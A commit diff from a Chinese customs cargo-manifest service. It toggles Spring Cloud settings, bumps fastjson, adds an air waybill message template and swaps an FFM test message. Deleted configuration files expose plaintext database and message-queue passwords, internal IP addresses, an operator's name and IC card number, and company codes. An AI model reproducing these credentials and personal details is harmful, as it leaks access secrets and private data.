wlxxpt / customAnalysis · 提交

转到一个项目

作者 朱兆平
提交 0d786380a4c18a958ad7c234b00e5eeae666218b 1 个父辈 8406534d

不知道改了点啥 

Signed-off-by: mrz <17966059@qq.com>
内嵌 并排对比
正在显示 8 个修改的文件 包含 110 行增加 和 515 行删除
@@ -37,12 +37,12 @@ spring: @@ -37,12 +37,12 @@ spring:
37 #eureka主机名，会在控制页面中显示 37 #eureka主机名，会在控制页面中显示
38 #DEV环境关闭注册。 38 #DEV环境关闭注册。
39 features: 39 features:
40 - enabled: true 40 + enabled: false
41 discovery: 41 discovery:
42 - enabled: true 42 + enabled: false
43 service-registry: 43 service-registry:
44 auto-registration: 44 auto-registration:
45 - enabled: true 45 + enabled: false
46 46
47 datasource: 47 datasource:
48 type: com.alibaba.druid.pool.DruidDataSource 48 type: com.alibaba.druid.pool.DruidDataSource
@@ -171,13 +171,13 @@ mq: @@ -171,13 +171,13 @@ mq:
171 needSend: true 171 needSend: true
172 queue: 172 queue:
173 #发送mq队列名称 173 #发送mq队列名称
174 - send-to-mq: response.transarrive 174 + send-to-mq: response
175 #读取mq队列名称 175 #读取mq队列名称
176 - read-from-mq: send.transarrive 176 + read-from-mq: send
177 exchange: 177 exchange:
178 #TCS回执发送到此交换,交换再把回执消息同步到其他配置的回执订阅队列 178 #TCS回执发送到此交换,交换再把回执消息同步到其他配置的回执订阅队列
179 #交换名称 179 #交换名称
180 - name: cus.arrivetrans.send.broadcast 180 + name: send.broadcast
181 #交换类型 181 #交换类型
182 type: fanout 182 type: fanout
183 #routing key名称,此处为空,所有绑定交换的队列都被广播 183 #routing key名称,此处为空,所有绑定交换的队列都被广播
@@ -19,7 +19,7 @@ @@ -19,7 +19,7 @@
19 <druid.version>1.2.8</druid.version> 19 <druid.version>1.2.8</druid.version>
20 <spring-cloud.version>Greenwich.BUILD-SNAPSHOT</spring-cloud.version> 20 <spring-cloud.version>Greenwich.BUILD-SNAPSHOT</spring-cloud.version>
21 <lombok_sersion>1.18.6</lombok_sersion> 21 <lombok_sersion>1.18.6</lombok_sersion>
22 - <fastJson_version>1.2.75</fastJson_version> 22 + <fastJson_version>1.2.83</fastJson_version>
23 <swagger2_version>2.9.2</swagger2_version> 23 <swagger2_version>2.9.2</swagger2_version>
24 <spring_tomcat_version>9.0.56</spring_tomcat_version> 24 <spring_tomcat_version>9.0.56</spring_tomcat_version>
25 <logback.verion>1.2.10</logback.verion> 25 <logback.verion>1.2.10</logback.verion>
@@ -192,6 +192,12 @@ @@ -192,6 +192,12 @@
192 <artifactId>springfox-swagger-ui</artifactId> 192 <artifactId>springfox-swagger-ui</artifactId>
193 <version>2.9.2</version> 193 <version>2.9.2</version>
194 </dependency> 194 </dependency>
  195 + <!-- easypoi -->
  196 + <dependency>
  197 + <groupId>cn.afterturn</groupId>
  198 + <artifactId>easypoi-spring-boot-starter</artifactId>
  199 + <version>4.4.0</version>
  200 + </dependency>
195 201
196 <dependency> 202 <dependency>
197 <groupId>org.springframework.cloud</groupId> 203 <groupId>org.springframework.cloud</groupId>
1 package com.tianbo.analysis.dao; 1 package com.tianbo.analysis.dao;
2 2
3 -import com.sun.javafx.tools.packager.MakeAllParams;  
4 import com.tianbo.analysis.model.FFMInfo; 3 import com.tianbo.analysis.model.FFMInfo;
5 import com.tianbo.analysis.model.StatictisModel; 4 import com.tianbo.analysis.model.StatictisModel;
6 import org.apache.ibatis.annotations.Param; 5 import org.apache.ibatis.annotations.Param;
7 6
8 -import java.util.Date;  
9 import java.util.List; 7 import java.util.List;
10 -import java.util.Map;  
11 8
12 public interface FFMInfoDao { 9 public interface FFMInfoDao {
13 int deleteByPrimaryKey(String autoid); 10 int deleteByPrimaryKey(String autoid);
  1 +package com.tianbo.analysis.model;
  2 +
  3 +/**
  4 + * FWB和FHL模板类
  5 + * @author mrz
  6 + */
  7 +public enum FWBANDFHLTemplate {
  8 + NODE_FWB_VER("FWB/${ver}\n"),
  9 + NODE_FHL_VER("FHL/${ver}\n"),
  10 + NODE_FWB_INFO("${fwb_num}${fwb_org}${fwb_des}/T${fwb_pcs}K${fwb_wt}MC${fwb_vol}\n"),
  11 + NODE_FWB_FLT("FLT/EY9736/27/EY0917/27\n"),
  12 + NODE_FWB_RTG("RTG/AUHEY/AMSEY\n"),
  13 + NODE_SHP_NAME("/${ship_name}"),
  14 + NODE_SHP_ADDR("/${ship_addr}"),
  15 + NODE_SHP_CITY("/${ship_city}"),
  16 + NODE_SHP_CONTRY("/${ship_cuntry}/${ship_youbian}/TE/${ship_tel}"),
  17 + NODE_CNE_NAME("/${cne_name}"),
  18 + NODE_CNE_ADDR("/${cne_addr}"),
  19 + NODE_CNE_CITY("/${cne_city}"),
  20 + NODE_CNE_CONTRY("/${cne_cuntry}/${cne_youbian}/TE/${cne_tel}"),
  21 + NODE_ACC("ACC/GEN/FREIGHT PREPAID"),
  22 + NODE_CVD("CVD/USD/PP/PP/NVD/NCV/XXX"),
  23 + NODE_RTD_BASE("RTD/1/P7/K218/CQ/W268/R38.7/T10371.6"),
  24 + NODE_RTD_NG("/NG/CONSOLIDATION"),
  25 + NODE_RTD_NS("/2/NS/60");
  26 +
  27 +
  28 +
  29 +
  30 + /**
  31 + * 模板内容
  32 + */
  33 + private String template;
  34 +
  35 +
  36 +
  37 + FWBANDFHLTemplate(String var1){
  38 + this.template =var1;
  39 + }
  40 +
  41 + public String getTemplate() {
  42 + return template;
  43 + }
  44 +
  45 + public void setTemplate(String template) {
  46 + this.template = template;
  47 + }
  48 +}
1 -#上传文件的路径，要带斜杠  
2 -web:  
3 - upload-path: /Users/mrz/Pictures/  
4 -server:  
5 - port: 10001  
6 - servlet:  
7 - context-path: ${SERVER_CONTEXTPATH:}  
8 -spring:  
9 - profiles:  
10 - active: dev  
11 - mvc:  
12 - #静态资源，设置上传文件的访问，  
13 - static-path-pattern: /**  
14 - thymeleaf:  
15 - cache: false  
16 - encoding: UTF-8  
17 - mode: XML  
18 - suffix: .xml  
19 - prefix: classpath:/templates/  
20 - resources:  
21 - static-locations: classpath:/META-INF/resources/,classpath:/static,classpath:/resources/,file:${web.upload-path}  
22 -  
23 - application:  
24 - name: wlpt-nmms-manage  
25 -  
26 - jackson:  
27 - serialization:  
28 - FAIL_ON_EMPTY_BEANS: false  
29 - #springboot2.0之后会把Date类型字段自动给转成UTC字符串 如：1990-11-26T16:00:00.000+0000，如果想转成时间戳在application.properties配置文件增加以下配置  
30 - date-format: yyyy-MM-dd HH:mm:ss  
31 - #时区必须要设置  
32 - time-zone: GMT+8  
33 - #ALWAYS的意思是即时属性为null，仍然也会输出这个key  
34 - default-property-inclusion: always  
35 -  
36 - cloud:  
37 - #eureka主机名，会在控制页面中显示  
38 - #DEV环境关闭注册。  
39 - features:  
40 - enabled: true  
41 - discovery:  
42 - enabled: true  
43 - service-registry:  
44 - auto-registration:  
45 - enabled: true  
46 -  
47 - datasource:  
48 - type: com.alibaba.druid.pool.DruidDataSource  
49 - #oracle  
50 - driver-class-name: oracle.jdbc.OracleDriver  
51 -# url: jdbc:oracle:thin:@192.168.1.199:10069:CGODB  
52 -# username: CGONMS  
53 -# password: 1q2w3e4r  
54 - url: jdbc:oracle:thin:@192.168.1.253:1522:ORCLL  
55 - username: CGONMS  
56 - password: vmvnv1v2  
57 - #spring datasource mysql，注意编码配置，缺少数据库编码配置容易引起中文入库乱码  
58 -# url: jdbc:mysql://127.0.0.1:3307/statistics?useUnicode=true&characterEncoding=utf8  
59 -# username: root  
60 -# password:  
61 -# driver-class-name: com.mysql.jdbc.Driver  
62 - max-idle: 20  
63 - max-wait: 10000  
64 - min-idle: 5  
65 - initial-size: 5  
66 - #配置初始化大小/最小/最大  
67 - druid:  
68 - initial-size: 1  
69 - min-idle: 1  
70 - #最大并发连接数  
71 - max-active: 40  
72 - #获取连接等待超时时间  
73 - max-wait: 60000  
74 - #一个连接在池中最小生存的时间  
75 - min-evictable-idle-time-millis: 300000  
76 - #间隔多久进行一次检测，检测需要关闭的空闲连接  
77 - time-between-eviction-runs-millis: 60000  
78 - #mysql  
79 -# validation-query: SELECT 1 FROM DUAL  
80 - #oracle  
81 - validation-query: SELECT 'x' FROM DUAL  
82 - test-while-idle: true  
83 - test-on-borrow: false  
84 - test-on-return: false  
85 - default-auto-commit: true  
86 -  
87 -eureka:  
88 - instance:  
89 - #eureka服务器页面中status的请求路径  
90 - status-page-url: http://${eureka.instance.hostname}:${server.port}/  
91 - prefer-ip-address: true  
92 - instance-id: ${spring.cloud.client.ip-address}:${server.port}  
93 - hostname: ${spring.cloud.client.ip-address}  
94 - client:  
95 - #eureka注册中心服务器地址  
96 - service-url:  
97 -# defaultZone: http://10.50.7.70:12345/eureka/  
98 - defaultZone: http://192.168.1.53:12345/eureka/  
99 - registry-fetch-interval-seconds: 30  
100 - lease-renewal-interval-in-seconds: 15  
101 - lease-expiration-duration-in-seconds: 45  
102 -  
103 -  
104 -  
105 -mybatis:  
106 - mapper-locations: classpath:mapping/*.xml  
107 - type-aliases-package: com.tianbo.warehouse.model  
108 -pagehelper:  
109 - #auto-dialect: true  
110 - #auto-runtime-dialect: true  
111 - helper-dialect: oracle  
112 - reasonable: true  
113 - support-methods-arguments: true  
114 - params: count=countSql  
115 -  
116 -#debug配置,debug或者为true的时候，logback才会记录和写入日志文件  
117 -trace: false  
118 -debug: true  
119 -  
120 -logging:  
121 - file:  
122 - path: ./logs/  
123 - name: system.log  
124 - config: classpath:logback-dev.xml  
125 - #转移到logback配置文件中  
126 - #level:  
127 - #org.apache.tomcat: info  
128 - #com.tianbo.warehouse.dao: DEBUG  
129 - #org.springframework.security: trace  
130 - #日志配置,输出到文本，  
131 -#Java Web Token 时效时间,单位秒  
132 -jwt:  
133 - max-alive: 300  
134 -# 舱单生成配置  
135 -customs:  
136 - # 操作员IC卡姓名  
137 - inputOpName: 翟梦一  
138 - # 操作员IC卡号  
139 - inputOpId: 8930000085548  
140 - # 报关公司  
141 - applyName: 河南航空货运发展有限公司  
142 - # 报关公司海关十位编码  
143 - applyCode: 4101888126  
144 - # 报关公司组织机构代码  
145 - copCode: 70678920X  
146 - #生成报文文件夹路径,尾部要带斜杠/  
147 - xml-path: customTemplate/  
148 - # 海关通道数据传输人识别号  
149 - transport-number: 460470678920X  
150 - # 转关运抵相关配置  
151 - transarrive:  
152 - #生成报文文件夹路径,尾部要带斜杠/  
153 - xml-save: /data/Tsend/  
154 - # 客户端统一编号  
155 - # clientSeqno: "000000000000002050"  
156 - clientSeqno: "000000000000057246"  
157 - # clientSeqno: 460470678920X_DXPENT0000460002  
158 - # 邮箱客户端id  
159 - hostId: DXPENT0000460002  
160 - # 当前操作员ic卡证书号  
161 - certNo: DXPENT0000460002  
162 -  
163 -mq:  
164 - dir:  
165 - # 从mq队列读取存储到本地的路径  
166 - saveXml-dir:  
167 - # 从本地路径读取报文路径 发送的MQ队列  
168 - sendXml-dir: /data/send  
169 - needSend: true  
170 - queue:  
171 - #发送mq队列名称  
172 - send-to-mq: response  
173 - #读取mq队列名称  
174 - read-from-mq: send  
175 - exchange:  
176 - #TCS回执发送到此交换,交换再把回执消息同步到其他配置的回执订阅队列  
177 - #交换名称  
178 - name: send.broadcast  
179 - #交换类型  
180 - type: fanout  
181 - #routing key名称,此处为空,所有绑定交换的队列都被广播  
182 - routing-key: transarrive  
183 - connection:  
184 - # ip: 218.28.199.134  
185 - # port: 8004  
186 - # vHost: NMMS  
187 - # username: tianbo  
188 - # password: vmvnv1v2VV  
189 - ip: 192.168.1.63  
190 - port: 5672  
191 - vHost: TRANSARRIVE  
192 - username: admin  
193 - password: admin  
194 -sso:  
195 - witheIP: 10.5.14.108,10.5.14.109,10.5.14.110  
196 -info:  
197 - version: 1.0  
198 - description: "新舱单辅助管理服务-统一认证、转运管理、提前运抵等"  
1 -<?xml version="1.0" encoding="UTF-8"?>  
2 -<!--参考文档链接:https://blog.csdn.net/qq_34912478/article/details/80877132-->  
3 -<!-- 日志级别从低到高分为TRACE < DEBUG < INFO < WARN < ERROR < FATAL，如果设置为WARN，则低于WARN的信息都不会输出 -->  
4 -<!-- scan:当此属性设置为true时，配置文件如果发生改变，将会被重新加载，默认值为true -->  
5 -<!-- scanPeriod:设置监测配置文件是否有修改的时间间隔，如果没有给出时间单位，默认单位是毫秒。当scan为true时，此属性生效。默认的时间间隔为1分钟。 -->  
6 -<!-- debug:当此属性设置为true时，将打印出logback内部日志信息，实时查看logback运行状态。默认值为false。 -->  
7 -<configuration scan="true" scanPeriod="10 seconds">  
8 -  
9 - <!--<include resource="org/springframework/boot/logging/logback/base.xml" />-->  
10 -  
11 - <contextName>logback</contextName>  
12 - <!-- name的值是变量的名称，value的值时变量定义的值。通过定义的值会被插入到logger上下文中。定义变量后，可以使“${}”来使用变量。 -->  
13 - <property name="log.path" value="./logs" />  
14 -  
15 - <!-- 彩色日志 -->  
16 - <!-- 彩色日志依赖的渲染类 -->  
17 - <conversionRule conversionWord="clr" converterClass="org.springframework.boot.logging.logback.ColorConverter" />  
18 - <conversionRule conversionWord="wex" converterClass="org.springframework.boot.logging.logback.WhitespaceThrowableProxyConverter" />  
19 - <conversionRule conversionWord="wEx" converterClass="org.springframework.boot.logging.logback.ExtendedWhitespaceThrowableProxyConverter" />  
20 - <!-- 彩色日志格式 -->  
21 - <property name="CONSOLE_LOG_PATTERN" value="${CONSOLE_LOG_PATTERN:-%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(${LOG_LEVEL_PATTERN:-%5p}) %clr(${PID:- }){magenta} %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %m%n${LOG_EXCEPTION_CONVERSION_WORD:-%wEx}}"/>  
22 -  
23 -  
24 - <!--输出到控制台-->  
25 - <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">  
26 - <!--此日志appender是为开发使用，只配置最底级别，控制台输出的日志级别是大于或等于此级别的日志信息-->  
27 - <filter class="ch.qos.logback.classic.filter.ThresholdFilter">  
28 - <level>trace</level>  
29 - </filter>  
30 - <encoder>  
31 - <Pattern>${CONSOLE_LOG_PATTERN}</Pattern>  
32 - <!-- 设置字符集 -->  
33 - <charset>UTF-8</charset>  
34 - </encoder>  
35 - </appender>  
36 -  
37 -  
38 - <!--输出到文件-->  
39 -  
40 - <!-- 时间滚动输出 level为 DEBUG 日志 -->  
41 - <appender name="DEBUG_FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">  
42 - <!-- 正在记录的日志文件的路径及文件名 -->  
43 - <file>${log.path}/log_debug.log</file>  
44 - <!--日志文件输出格式-->  
45 - <encoder>  
46 - <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern>  
47 - <charset>UTF-8</charset> <!-- 设置字符集 -->  
48 - </encoder>  
49 - <!-- 日志记录器的滚动策略，按日期，按大小记录 -->  
50 - <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">  
51 - <!-- 日志归档 -->  
52 - <fileNamePattern>${log.path}/debug/log-debug-%d{yyyy-MM-dd}.%i.log</fileNamePattern>  
53 - <timeBasedFileNamingAndTriggeringPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP">  
54 - <maxFileSize>100MB</maxFileSize>  
55 - </timeBasedFileNamingAndTriggeringPolicy>  
56 - <!--日志文件保留天数-->  
57 - <maxHistory>15</maxHistory>  
58 - </rollingPolicy>  
59 - <!-- 此日志文件只记录debug级别的 -->  
60 - <filter class="ch.qos.logback.classic.filter.LevelFilter">  
61 - <level>debug</level>  
62 - <onMatch>ACCEPT</onMatch>  
63 - <onMismatch>DENY</onMismatch>  
64 - </filter>  
65 - </appender>  
66 -  
67 - <!-- 时间滚动输出 level为 INFO 日志 -->  
68 - <appender name="INFO_FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">  
69 - <!-- 正在记录的日志文件的路径及文件名 -->  
70 - <file>${log.path}/log_info.log</file>  
71 - <!--日志文件输出格式-->  
72 - <encoder>  
73 - <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern>  
74 - <charset>UTF-8</charset>  
75 - </encoder>  
76 - <!-- 日志记录器的滚动策略，按日期，按大小记录 -->  
77 - <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">  
78 - <!-- 每天日志归档路径以及格式 -->  
79 - <fileNamePattern>${log.path}/info/log-info-%d{yyyy-MM-dd}.%i.log</fileNamePattern>  
80 - <timeBasedFileNamingAndTriggeringPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP">  
81 - <maxFileSize>100MB</maxFileSize>  
82 - </timeBasedFileNamingAndTriggeringPolicy>  
83 - <!--日志文件保留天数-->  
84 - <maxHistory>15</maxHistory>  
85 - </rollingPolicy>  
86 - <!-- 此日志文件只记录info级别的 -->  
87 - <filter class="ch.qos.logback.classic.filter.LevelFilter">  
88 - <level>info</level>  
89 - <onMatch>ACCEPT</onMatch>  
90 - <onMismatch>DENY</onMismatch>  
91 - </filter>  
92 - </appender>  
93 -  
94 - <!-- 时间滚动输出 level为 WARN 日志 -->  
95 - <appender name="WARN_FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">  
96 - <!-- 正在记录的日志文件的路径及文件名 -->  
97 - <file>${log.path}/log_warn.log</file>  
98 - <!--日志文件输出格式-->  
99 - <encoder>  
100 - <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern>  
101 - <charset>UTF-8</charset> <!-- 此处设置字符集 -->  
102 - </encoder>  
103 - <!-- 日志记录器的滚动策略，按日期，按大小记录 -->  
104 - <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">  
105 - <fileNamePattern>${log.path}/warn/log-warn-%d{yyyy-MM-dd}.%i.log</fileNamePattern>  
106 - <timeBasedFileNamingAndTriggeringPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP">  
107 - <maxFileSize>100MB</maxFileSize>  
108 - </timeBasedFileNamingAndTriggeringPolicy>  
109 - <!--日志文件保留天数-->  
110 - <maxHistory>15</maxHistory>  
111 - </rollingPolicy>  
112 - <!-- 此日志文件只记录warn级别的 -->  
113 - <filter class="ch.qos.logback.classic.filter.LevelFilter">  
114 - <level>warn</level>  
115 - <onMatch>ACCEPT</onMatch>  
116 - <onMismatch>DENY</onMismatch>  
117 - </filter>  
118 - </appender>  
119 -  
120 -  
121 - <!-- 时间滚动输出 level为 ERROR 日志 -->  
122 - <appender name="ERROR_FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">  
123 - <!-- 正在记录的日志文件的路径及文件名 -->  
124 - <file>${log.path}/log_error.log</file>  
125 - <!--日志文件输出格式-->  
126 - <encoder>  
127 - <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern>  
128 - <charset>UTF-8</charset> <!-- 此处设置字符集 -->  
129 - </encoder>  
130 - <!-- 日志记录器的滚动策略，按日期，按大小记录 -->  
131 - <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">  
132 - <fileNamePattern>${log.path}/error/log-error-%d{yyyy-MM-dd}.%i.log</fileNamePattern>  
133 - <timeBasedFileNamingAndTriggeringPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP">  
134 - <maxFileSize>100MB</maxFileSize>  
135 - </timeBasedFileNamingAndTriggeringPolicy>  
136 - <!--日志文件保留天数-->  
137 - <maxHistory>15</maxHistory>  
138 - </rollingPolicy>  
139 - <!-- 此日志文件只记录ERROR级别的 -->  
140 - <filter class="ch.qos.logback.classic.filter.LevelFilter">  
141 - <level>ERROR</level>  
142 - <onMatch>ACCEPT</onMatch>  
143 - <onMismatch>DENY</onMismatch>  
144 - </filter>  
145 - </appender>  
146 -  
147 - <!--  
148 - <logger>用来设置某一个包或者具体的某一个类的日志打印级别、  
149 - 以及指定<appender>。<logger>仅有一个name属性，  
150 - 一个可选的level和一个可选的addtivity属性。  
151 - name:用来指定受此logger约束的某一个包或者具体的某一个类。  
152 - level:用来设置打印级别，大小写无关：TRACE, DEBUG, INFO, WARN, ERROR, ALL 和 OFF，  
153 - 还有一个特俗值INHERITED或者同义词NULL，代表强制执行上级的级别。  
154 - 如果未设置此属性，那么当前logger将会继承上级的级别。  
155 - addtivity:是否向上级logger传递打印信息。默认是true。  
156 - -->  
157 - <!--<logger name="org.springframework.web" level="info"/>-->  
158 - <!--<logger name="org.springframework.scheduling.annotation.ScheduledAnnotationBeanPostProcessor" level="INFO"/>-->  
159 - <!--  
160 - 使用mybatis的时候，sql语句是debug下才会打印，而这里我们只配置了info，所以想要查看sql语句的话，有以下两种操作：  
161 - 第一种把<root level="info">改成<root level="DEBUG">这样就会打印sql，不过这样日志那边会出现很多其他消息  
162 - 第二种就是单独给dao下目录配置debug模式，代码如下，这样配置sql语句会打印，其他还是正常info级别：  
163 - -->  
164 -  
165 -  
166 - <!--  
167 - root节点是必选节点，用来指定最基础的日志输出级别，只有一个level属性  
168 - level:用来设置打印级别，大小写无关：TRACE, DEBUG, INFO, WARN, ERROR, ALL 和 OFF，  
169 - 不能设置为INHERITED或者同义词NULL。默认是DEBUG  
170 - 可以包含零个或多个元素，标识这个appender将会添加到这个logger。  
171 - -->  
172 -  
173 - <!--开发环境:打印控制台-->  
174 - <springProfile name="dev">  
175 -<!-- <logger name="org.springframework.boot" level="info"/>-->  
176 -<!-- <logger name="org.apache.tomcat" level="info" />-->  
177 - <logger name="com.tianbo.analysis" level="DEBUG" />  
178 - <root level="INFO">  
179 - <appender-ref ref="CONSOLE" />  
180 - <appender-ref ref="DEBUG_FILE" />  
181 - <!--<appender-ref ref="INFO_FILE" />-->  
182 - <!--<appender-ref ref="WARN_FILE" />-->  
183 - <appender-ref ref="ERROR_FILE" />  
184 - </root>  
185 - </springProfile>  
186 -  
187 - <!--生产环境:输出到文件-->  
188 - <springProfile name="pro">  
189 - <logger name="org.springframework.boot" level="info"/>  
190 - <logger name="com.tianbo.analysis.dao" level="DEBUG" />  
191 - <root level="INFO">  
192 - <appender-ref ref="CONSOLE" />  
193 - <appender-ref ref="DEBUG_FILE" />  
194 - <appender-ref ref="INFO_FILE" />  
195 - <appender-ref ref="ERROR_FILE" />  
196 - <appender-ref ref="WARN_FILE" />  
197 - </root>  
198 - </springProfile>  
199 -  
200 -</configuration>  
@@ -5,7 +5,6 @@ import com.tianbo.analysis.exception.FFMResolveException; @@ -5,7 +5,6 @@ import com.tianbo.analysis.exception.FFMResolveException;
5 import com.tianbo.analysis.model.FFMInfo; 5 import com.tianbo.analysis.model.FFMInfo;
6 import com.tianbo.analysis.model.ResultJson; 6 import com.tianbo.analysis.model.ResultJson;
7 import com.tianbo.analysis.service.FFMResolve; 7 import com.tianbo.analysis.service.FFMResolve;
8 -import com.tianbo.util.Date.DateUtil;  
9 import lombok.extern.slf4j.Slf4j; 8 import lombok.extern.slf4j.Slf4j;
10 import org.junit.platform.commons.util.StringUtils; 9 import org.junit.platform.commons.util.StringUtils;
11 import org.springframework.beans.factory.annotation.Autowired; 10 import org.springframework.beans.factory.annotation.Autowired;
@@ -28,49 +27,55 @@ public class FFMTest { @@ -28,49 +27,55 @@ public class FFMTest {
28 @Autowired 27 @Autowired
29 FFMResolve ffmResolve; 28 FFMResolve ffmResolve;
30 private String ffm = "ZCZC\n" + 29 private String ffm = "ZCZC\n" +
31 - "QD SELKTCR SELKTCR ICNKO5X \n" +  
32 - ".CGOFD1E 101732\n" +  
33 - "FFM/5 \n" +  
34 - "5/5X173/10SEP/CGO/N328UP \n" +  
35 - "ICN/13SEP2249/13SEP0712 \n" +  
36 - "406-66666666CGOICN/T1K1MC0.01/CONSOLIDATED/EXP \n" +  
37 - "ULD/AAY569135X \n" +  
38 - "406-91567416CGOICN/T1K1MC0.01/CONSOLIDATED/EXP \n" +  
39 - "ULD/AAZ298885X \n" +  
40 - "406-77806864CGOONT/T34K286MC2.12/CONSOLIDATED \n" +  
41 - "406-77806890CGOONT/T1K1MC0.01/CONSOLIDATED \n" +  
42 - "406-77807472CGOONT/T11K125MC0.99/CONSOLIDATED \n" +  
43 - "406-81801020CGOONT/T45K17MC0.14/CONSOLIDATED \n" +  
44 - "406-81804962CGOONT/T1K11.8MC0.08/CONSOLIDATED \n" +  
45 - "406-87761446CGOONT/T2K73.5MC0.42/CONSOLIDATED \n" +  
46 - "406-87762021CGOONT/T1K11.3MC0.03/CONSOLIDATED \n" +  
47 - "406-87762824CGOONT/T1K9MC0.07/CONSOLIDATED \n" +  
48 - "406-92753124CGOONT/S10K145.7MC0.94T33/CONSOLIDATED \n" +  
49 - "406-92753275CGOONT/T1K1MC0.01/CONSOLIDATED \n" +  
50 - "ULD/AMJ522515X \n" +  
51 - "406-91567383CGOSDF/S180K2635.5MC2.31T309/CONSOLIDATED/EXP \n" +  
52 - "ULD/AMJ586525X \n" +  
53 - "406-77804355CGOSDF/T9K202MC0.86/CONSOLIDATED \n" +  
54 - "406-77806341CGOSDF/T2K25MC0.17/CONSOLIDATED \n" +  
55 - "406-77807100CGOSDF/T2K3MC0.01/CONSOLIDATED \n" +  
56 - "406-81376315CGOSDF/T12K176.5MC0.90/CONSOLIDATED \n" +  
57 - "406-81804951CGOSDF/T6K98.3MC0.45/CONSOLIDATED \n" +  
58 - "406-87762732CGOSDF/T1K2.5MC0.08/CONSOLIDATED \n" +  
59 - "PVG/12SEP0250 \n" +  
60 - "ULD/AMJ609925X \n" +  
61 - "406-77806842CGOSDF/T3K18MC0.03/CONSOLIDATED \n" +  
62 - "406-77806853CGOSDF/T6K17MC0.06/CONSOLIDATED \n" +  
63 - "406-77806960CGOSDF/T1K4MC0.02/CONSOLIDATED \n" +  
64 - "406-77807133CGOSDF/T3K45MC0.28/CONSOLIDATED \n" +  
65 - "406-77807273CGOSDF/T3K13MC0.18/CONSOLIDATED \n" +  
66 - "406-77807516CGOSDF/T8K13MC0.19/CONSOLIDATED \n" +  
67 - "406-91567383CGOSDF/S129K1568MC1.65T309/CONSOLIDATED/EXP \n" +  
68 - "406-92753161CGOSDF/T47K850MC4.51/CONSOLIDATED \n" +  
69 - "ULD/AMP652205X \n" +  
70 - "406-77806923CGOONT/T4K36MC0.12/CONSOLIDATED \n" +  
71 - "406-77806971CGOICN/T8K92MC1.16/CONSOLIDATED/ELI \n" +  
72 - "CONT \n" +  
73 - "\n" + 30 + "QD CGOFD1E \n" +
  31 + ".HDQFMQR 280617\n" +
  32 + "FFM/8 \n" +
  33 + "01/QR8044/28JUL/DOH/A7BFE \n" +
  34 + "ICN/NIL \n" +
  35 + "CGO \n" +
  36 + "ULD/PGA70458FF-M \n" +
  37 + "157-89737443FRAPVG/D1K4663.3MC14.17T7/CONSOLIDATION \n" +
  38 + "/EAP/HST/SPX/HEA/ALO/GCR/BUP \n" +
  39 + "OCI/DE//ED/0223 \n" +
  40 + "/DE/ISS/RA/00099-01 \n" +
  41 + "/CN/CNE/CT/008613681743759 \n" +
  42 + "/CN/CNE/T/USCI91310000717850897G \n" +
  43 + "ULD/PMC79136FF-L \n" +
  44 + "157-89737443FRAPVG/D1K4663.3MC14.17T7/CONSOLIDATION \n" +
  45 + "/EAP/HST/SPX/HEA/ALO/GCR/BUP \n" +
  46 + "OCI/DE//ED/0223 \n" +
  47 + "/DE/ISS/RA/00099-01 \n" +
  48 + "/CN/CNE/CT/008613681743759 \n" +
  49 + "/CN/CNE/T/USCI91310000717850897G \n" +
  50 + "ULD/PMC15213QR-M \n" +
  51 + "157-83672422LUXPVG/S1K3500.0MC18.0T8/CONSOLIDATION \n" +
  52 + "/EAP/HST/SPX/HEA/ALO/GCR/BUP \n" +
  53 + "OCI/DE//ED/0223 \n" +
  54 + "/DE/ISS/RA/00099-02 \n" +
  55 + "/CN/CNE/CT/008613681743759 \n" +
  56 + "/CN/CNE/T/USCI91310000717850897G \n" +
  57 + "ULD/PMC16667QR-M \n" +
  58 + "157-83672422LUXPVG/S1K3500.0MC18.0T8/CONSOLIDATION \n" +
  59 + "/EAP/HST/SPX/HEA/ALO/GCR/BUP \n" +
  60 + "OCI/DE//ED/0223 \n" +
  61 + "/DE/ISS/RA/00099-02 \n" +
  62 + "/CN/CNE/CT/008613681743759 \n" +
  63 + "/CN/CNE/T/USCI91310000717850897G \n" +
  64 + "ULD/PMC32693FF \n" +
  65 + "157-89737443FRAPVG/D1K4663.3MC14.17T7/CONSOLIDATION \n" +
  66 + "/EAP/HST/SPX/HEA/ALO/GCR/BUP \n" +
  67 + "OCI/DE//ED/0223 \n" +
  68 + "/DE/ISS/RA/00099-01 \n" +
  69 + "/CN/CNE/CT/008613681743759 \n" +
  70 + "/CN/CNE/T/USCI91310000717850897G \n" +
  71 + "ULD/PMC72373QR \n" +
  72 + "157-89737443FRAPVG/D1K2500.0MC14.17T7/CONSOLIDATION \n" +
  73 + "/EAP/HST/SPX/HEA/ALO/GCR/BUP \n" +
  74 + "OCI/DE//ED/0223 \n" +
  75 + "/DE/ISS/RA/00099-01 \n" +
  76 + "/CN/CNE/CT/008613681743759 \n" +
  77 + "/CN/CNE/T/USCI91310000717850897G \n" +
  78 + "CONT\n" +
74 "=\n" + 79 "=\n" +
75 "NNNN"; 80 "NNNN";
76 81
1 -  
2 -import com.tianbo.analysis.NmmsAdminApplication;  
3 -import org.apache.logging.log4j.LogManager;  
4 -import org.apache.logging.log4j.Logger;  
5 -import org.junit.runner.RunWith;  
6 -import org.springframework.boot.test.context.SpringBootTest;  
7 -import org.springframework.test.context.junit4.SpringRunner;  
8 -  
9 -import java.util.regex.Matcher;  
